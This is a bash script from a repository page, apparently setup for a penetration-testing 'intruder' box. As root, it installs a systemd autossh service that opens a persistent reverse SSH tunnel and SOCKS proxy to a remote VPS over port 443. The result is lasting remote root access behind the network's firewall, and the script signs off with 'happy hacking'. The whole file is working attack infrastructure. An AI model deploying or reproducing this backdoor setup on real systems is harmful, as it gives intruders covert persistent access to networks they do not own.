-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathconfig.sh
43 lines (37 loc) · 1.32 KB
/
config.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
if [[ "$(id -u)" -ne 0 ]]; then
echo "This script must be run as root user"
exit 1
fi
# VPS Information
remote_user="vpsuser" # User VPS
remote_host="vpsserver.li" # Host VPS
remote_ssh_port=443 # VPS Port
# SSH Information
intruder_ssh_port=$(grep -E "^Port" /etc/ssh/sshd_config | cut -d " " -f2) # Intruder Port
DIRNAME="arsenal"
WORKDIR="$HOME/$DIRNAME"
echo "" > /etc/systemd/system/autossh-tunnel.service
cat <<EOT >> /etc/systemd/system/autossh-tunnel.service
[Unit]
Description=AutoSSH tunnel
After=network.target
[Service]
Environment="AUTOSSH_GATETIME=0"
ExecStart=/usr/bin/autossh -M 0 -vvv -g -N -T -o 'ServerAliveInterval 10' -o 'ExitOnForwardFailure yes' -R 2222:localhost:$intruder_ssh_port $remote_user@$remote_host -p$remote_ssh_port -CD9999
[Install]
WantedBy=multi-user.target
EOT
echo "[+] Service created: autossh-tunnel"
echo "[!] FIRST LOGIN REQUIRED TO ACCEPT FINGERPRINT, ACCEPT AND EXIT (CTRL+C)"
/usr/bin/autossh -M 0 -g -N -T -o 'ServerAliveInterval 10' -o 'ExitOnForwardFailure yes' -R 2222:localhost:$intruder_ssh_port $remote_user@$remote_host -p$remote_ssh_port -CD9999
echo -e "\n"
echo ssh restart
systemctl daemon-reload
systemctl enable autossh-tunnel
systemctl restart ssh
systemctl restart autossh-tunnel
echo "[+] happy hacking"
echo -e "\n"
echo "ssh root@localhost -p2222"
echo -e "\n"